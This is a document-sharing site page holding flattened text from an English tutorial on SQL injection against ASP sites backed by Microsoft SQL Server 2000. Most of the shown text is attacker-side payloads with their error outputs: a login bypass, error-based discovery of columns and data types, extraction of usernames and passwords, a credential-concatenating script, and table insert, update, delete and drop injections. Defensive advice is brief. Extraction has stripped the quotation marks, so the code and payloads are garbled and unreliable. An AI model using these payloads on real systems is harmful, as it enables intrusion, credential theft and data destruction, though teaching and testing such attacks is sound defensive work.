Sql Injection

上传人:仙*** 文档编号:31394620 上传时间:2021-10-11 格式:DOC 页数:21 大小:3.90MB
收藏 版权申诉 举报 下载
Sql Injection_第1页
第1页 / 共21页
Sql Injection_第2页
第2页 / 共21页
Sql Injection_第3页
第3页 / 共21页
资源描述:

《Sql Injection》由会员分享,可在线阅读,更多相关《Sql Injection(21页珍藏版)》请在装配图网上搜索。

1、A Step by Step Guide to SQL InjectionsAbstract2What is SQL Injection?2Test Environment for Checking SQL Injections:2Architecture:3Database Management System:3Front-end Structure:4SQL Injections At the Database Level6Bypassing User Authentication:6How to Secure against illegal authentication?7Determi

2、ne column of the table:8Getting all Columns of the Table: (Using Group by Clause)8Determining the Number of Columns: (Using Union Clause)9Finding Data types: (using aggregate functions)10Why we need all columns and Data Types?10Getting Username & Password from table:10Inserting Values in the Table:1

3、3Updating Values of the Table:13Deleting Entire Data from the Table: (using Delete or Drop statement)14Displaying desired Information from the table in the Browser:14SQL Injections Going beyond the Databases15Getting server name:15Xp_cmdshell :16Shutting Down the SQL Server:16Brute Force to Find Pas

4、sword of SQL Server:16Xp_regread and Xp_regwrite extended procedure:17Xp_servicecontrol:18Bulk Insert Statement:19How to prevent against SQL Injections:19Appendix:20Union Clause:20Group By Clause:20Delete/Drop statement:20ODBC driver:20Microsoft Internet Information Server (IIS):21Abstract This docu

5、ment discuss in detail common as well as some advance SQL Injection techniques as it applies to Microsoft Internet Information Server / Active Server Pages / Microsoft SQL Server. It discusses the various ways in which SQL can be injected & how one can protect him against the SQL injections. This do

6、cument also contains brief description of the terms used in the context of databases & web Application. What is SQL Injection? SQL Injection is a technique where an attacker creates or alters existing SQL commands (by using some special symbol) to gain access to unintended data or even the ability t

7、o execute system level commands in the server. SQL injections are the result of Poor Input Validation and can be blocked by proper input validation. Application that do not correctly validate and/or sanitize the user input, can potentially be exploited in several ways: Changing SQL values. Concatena

8、ting SQL Values. Adding Function calls & stored Procedures to a statement. Typecast and concatenate retrieved data. Adding system functions & procedure to find out critical information about the server. Test Environment for Checking SQL Injections: Test environment is very simple, which uses Microso

9、ft SQL server 2000 as a Database Management System, Web Server and a authentication web site. The test environment also contains two asp pages one is for gathering user input & another one is for checking user input against the data in the database using SQL Query.Architecture:Test Environment is ba

10、sed on the Two tire Architecture. Diagram of typical two-tire architecture is shown below:In a two-tier architecture a client talks directly to a server, with no intervening server. It is typically used in small environments (less than 50 users). Some important characteristics of a two-tier applicat

11、ion are: User Interface on clients (desktops). Database on servers (more powerful machines). Business logic residing mostly on clients. Stored procedures for data access on the servers. SQLs used for communication.Database Management System: Microsoft SQL Server 2000.Database Name: Injection.Table N

12、ame: Authentication.Table Structure: SlnoInteger (4) Name Character (20) PasswordCharacter (20)Front-end Structure:Authentication Page: Login.asp This page is designed to take user input. There are two text boxes in the page with one submit button. When user click on the submit button the values of

13、the text boxes are submitted to verify.asp page at the Server site.There are two methods (GET & POST) to submit values from a web page to another. Since only few applications uses GET method, so in this scenario we are using POST Method only, but same thing can be achieved by using Get Method as wel

14、l. The difference between GET & POST method is in get method the data is appended to the URL using “?” and a user can see the data being transferred in the address bar. While data being transferred using post method doesnt appended to the URL & thus doesnt appear in the address bar i.e. it is kept h

15、idden from the users. The data sent by using POST method is grab in ASP page using request.form object while data sent by using GET method is grab using requset.querystring object. The process of SQL injection will be same for both the cases.Browsers Location line shows the username & password.The f

16、ollowing snip will tell you how information appears in the browser.Verify.aspBrowser shows the username & password in the Address bar.Code of the Login.asp page:Name:Password:AuthenticationVerify Page: Verify.aspThis page is designed to grab input from the Login.asp page & check it against the data

17、in the databases. Typical query to validate user data is written as:Set recordset = connectionstering.execute (SELECT * FROM authentication WHERE & Name & request.form (username) & AND & _Password & request.form (UserPassword) & )Code of the Verify.asp Page:%Variable Declaration Dim Cm, Trec Set Cm

18、= Server.CreateObject(ADODB.Connection) Set Trec = Server.CreateObject(ADODB.Recordset)ConnectionStrin g= driver=SQLServer;Server=middleearth;Database=injection;UID=sa;PWD=sa” QueryText = SELECT * FROM authentication WHERE & _ Name = & Request.Form(UserName) & AND & _ Password = & Request.Form(UserP

19、assword) & Response.Write (QueryText)Opening Connection Object because we need to put data or get data somewhere Cm.Open (ConnectionString) Opening a Recordset which execute query Trec.Open QueryText,cmIf not Trec.EOF then Response.write(authentic) else Response.Write(not authentic)end if Response.W

20、rite(+QueryText)%SQL Injections At the Database LevelThe first step before SQL Injections is to test whether a site is vulnerable to SQL Injections or not. It can be achieved by giving some arbitrary input. If input results in an error message (other than user generated error message), it means site

21、 is vulnerable to SQL Injections. To find whether a sire is vulnerable to SQL injections try followings special characters in input:;,%-*Bypassing User Authentication:An attacker can easily bypass Login Page without providing a valid user name & password. He just need to give: Or 1=1;- (In the User

22、Name text Box)On submitting this page SQL query (at the server) becomes:Select * from authentication where Name = or 1=1; - Note: MS SQL Server treats anything after; - as comment so rest of the query will be ignored. What attacker has done here is without specifying a valid username & password he b

23、ypasses the Login page.Telling you frankly even if site is vulnerable to SQL Injections most of the time it will not work. It depends on the way ASP Code is written. Key thing behind SQL Injection is your input should be according to ASP code to get desired result. Here I would like to suggest that

24、you should try all the following possible combinations and more, which you can think.1. Or 1=1; -2. Or 1=1); -3. any_bad_value4. “5. “or”6.“ any_bad_value” etc.Note: This explanation is just for understanding from this test scenario. This varies on your Web Application code.How to Secure against ill

25、egal authentication?To restrict an attacker you can use stored procedures (with username as its parameter) instead of writing complete SQL query in the querystring. That is something like . Set Recordsource = connectionstering.execute (exec logincheck &requset.querystring (username) &). Now while tr

26、ying to bypass this code by supplying or 1=1 as username it wont work. The reason is SQL queries that execute a stored procedure cant be conditional and the presence of OR makes it so. Thus produce an error:Microsoft OLE DB Provider for ODBC drivers error 80040e14MicrosoftODBC SQL Server Incorrect s

27、yntax near the keyword or. /verify1.asp, line 5. Determine column of the table:Till this stages an Attacker dont know anything about table structure. He needs to know column name and table name to perform SQL Injection further. He can find out a column name by giving input something like Skillz in t

28、he username textbox. When He submit the page the query at the server site will be something like:Select * from authentication where username = Skillz and password = When ODBC tries to parse that query it will generate the following error message:Microsoft OLE DB Provider for ODBC drivers error 80040

29、e14Microsoft ODBC SQL Server Unclosed quotation mark before the character string Skillz AND Password=This seems to be very interesting messages from an attackers point of view as he has got one column of the table i.e. PASSWORD. And now he can use it to get other columns of the table. Getting all Co

30、lumns of the Table: (Using Group by Clause)Here is the explanation, how an attacker can get other columns of the table using the first column He has just got. He will also get table with the column name.This is what an attacker has to enter in the user name text box:Skillz group by (password); - Whe

31、n attacker submit this page the query at the server site will become: Select * from authentication where username = Skillz group by (password); - When ODBC try to parse this SQL query it will generate following error message: Microsoft OLE DB Provider for ODBC Drivers error 80040e14MicrosoftODBC SQL

32、 Server DriverSQL Server Column authentication.slno is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./verify.asp, line 24 The error is generated by ODBC driver because of the fact that, group by should contain all the columns occurring

33、in select list. This error seems to be more interesting then the previous one as from this error attacker got two things one is NEW COLUMN NAME and another one is the TABLE NAME.By keep-applying group-by clause recursively with newly found column Attacker can get all the columns of the table. Determ

34、ining the Number of Columns: (Using Union Clause)To check that whether Attacker has got all the columns or not, he has just need to use union clause: An attacker can proceed by giving input into text box:Skillz union select slno, password from authentication; - On submitting this value the query at

35、the server site becomes something like:Select * from authentication where name = Skillz union select slno, password from authentication- When ODBC try to parse this query it will generate following error: Microsoft OLE DB Provider for ODBC Drivers error 80040e14MicrosoftODBC SQL Server DriverSQL Ser

36、ver All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists./verify1.asp, line 24What does this error means? This means server is telling that slno & password are not the only column in the table, as the UNION clause is not matching

37、the number of columns in the table. This means attacker has to use group by clause again to find the hidden columns. When he include all the columns in the query ODBC will not generate any error message & that is the indication that attacker has got all the columns of the table.Finding Data types: (

38、using aggregate functions)At this stage attacker got the table name & all the columns of the table. But if he wants to insert some value(s) in the table or to update some column value he would need data type of the columns.To find out data type of the column he just has to enter:Skillz compute sum (

39、name) in the username text box.When this value is submitted to the server, query at the server site becomes:Select * from authentication where name = Skillz compute sum (name)Here (name) is a column name of currently used table.When ODBC try to parse this query, it will generate following error:Micr

40、osoft OLE DB Provider for ODBC Drivers error 80040e07MicrosoftODBC SQL Server DriverSQL Server The sum or average aggregate operation cannot take a char data type as an argument./verify.asp, line 24The above error message is giving information that the name field of the table is of VARCHAR type. By

41、proceeding in the same manner & applying aggregate functions on the rest of the columns we can get data types for all the columns. Why we need all columns and Data Types?All column names might be required to insert values in all columns. Here it might be a question why I need to insert values in all

42、 fields, why not only on selected fields? The answer for this is some columns dont support null values and we have to specify some value for such columns otherwise it wont be possible to insert values into table. Getting Username & Password from table:Aggregate functions can be used to determining s

43、ome values in any table in the database. Since the attacker is interested in usernames & passwords, they are likely to read the usernames from the user table, like this: Username: union select min (name), 1,1 from authentication where username a;-Select * from authentication where name = union selec

44、t min (name), 1,1 from authentication where username a; -When the above query is executed its first statement (before union clause) returns null value and Second returns minimum username that is greater than a, and attempts to convert it to an integer, and thus produces an error: Microsoft OLE DB pr

45、ovider for ODBC driver error 80040e07MicrosoftODBC SQL server driverSQL server syntax error converting the varchar value Skillz to a column of data type int./verify.asp, line 25So the attacker now knows that the username Skillz exist in the table. He can now iterate through the rows in the table by

46、substituting each new username he discovered into where clause:Username: union select min (name), 1,1 from authentication where username SkillzAgain when ODBC tries to convert character value in the integer, it generates an error:Microsoft OLE DB provider for ODBC driver error 80040e07MicrosoftODBC

47、SQL server driverSQL server syntax error converting the varchar value Rahul to a column of data type int./verify.asp, line 25From this error attacker has got one more username that exist in the table. By proceeding in the same manner he can obtain all the username from the table. Once the attacker g

48、ot the usernames, he can starts gathering passwords.Username: union select password, 1,1 from authentication where name =SkillzAgain ODBC tries to convert character value (password) to an integer & generates the following error message:Microsoft OLE DB provider for ODBC driver error 80040e07Microsof

49、t ODBC SQL Server Driver SQL Server syntax error converting the character value Vikas to a column of a data type Int. From the above error attacker comes to know that Vikas is the password for user Skillz.A More elegant way to display all username & password is concatenate usernames & passwords into

50、 a single string & then attempt to convert into an integer. Following script, which is written in PL/SQL, converts all usernames & passwords into a single string & store into a temporary table.BeginDeclare col varchar(8000)Set col = :(you can give any value instead of : )select col = col + username:

51、 + rtrim(name)+ Password: + rtrim(password) + from authentication where name col Select col as col into temp_tableEnd;Note: - temp_table is the temporary table name.Col is the name of column of temporary table temp_table.Col is variable for the PL/SQL script.Now attacker can use this temp_table to g

52、et all the username & password of the table. Username: Union select col, 1,1 from temp_table; -When ODBC tries to convert string in to integer data type, it will generate the following error: Microsoft OLE DB provider for ODBC driver error 80040e07Microsoft ODBC SQL Server Driver SQL Server syntax e

53、rror converting the varchar value : username: Skillz Password: vikas Username: rahul Password: Skillz Username: vikas Password: Skillz to a column of a data type Integer. The string represents the username & its password, separated by words username & password. Inserting Values in the Table:As attac

54、ker has already got all the necessary information (table name, column name, data type of columns) required to insert values in the table He can easily insert data into the table using insert statement. At attacker just need to enter: insert into authentication (name, password) values (Skillz,Skillz)

55、; - When this value is submitted at the server site, query becomes:Select * from authentication where name = Insert into authentication (name, password) values (Skillz,Skillz); - Here the select query doesnt make any sense so it is ignored & insert query is successfully executed.Updating Values of t

56、he Table:Following the same procedure as insert, an attacker can easily update values of the table. To update values of columns say password of a user an attacker just need to proceed by submitting: update authentication set password = Skillz where name =rahul;- in the user name text box. When this

57、values is submitted the query at the server site becomes: Select * from authentication where name = Update authentication set password = rahul where username = Skillz; -So what an attacker has done is he successfully changed the password of user “Skillz” without knowing his Old Password.Deleting Ent

58、ire Data from the Table: (using Delete or Drop statement)An attacker can make our life much more difficult by dropping the data of entire table by using delete statement or Drop table statement. He just has to enter a simple statement: ; drop table authentication; - or Skillz delete from authenticat

59、ion; - in the username textbox.When this statement is submitted to the server, query becomes: Select * from authentication where name = drop table authentication; - or Select* from authentication where name = Skillz delete from authentication;- And the result of this query is: We lost all data store

60、d in the table authenticationDisplaying desired Information from the table in the Browser:I have mentioned this earlier in sense of how to get username and password. Here its in more detail to get all fields of the table. A attacker can use stored procedure/PL-SQL Block to display entire data of Col

61、umn(s) in the browser itself.This is a two step Procedure: 1. In the first step an Attacker creates a temporary table (on the server) which holds data from the Main table (on the server). The temporary table contains only one column & that column will contain the values from different columns of the

62、 main table as a string.2. In the second step an Attacker displays data from the temporary table he has created in the previous stage.Ex.: Following PL/SQL Block can be used to create a temporary table having single column named as col, Which can hold data of all the desired columns (as a concatenated

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!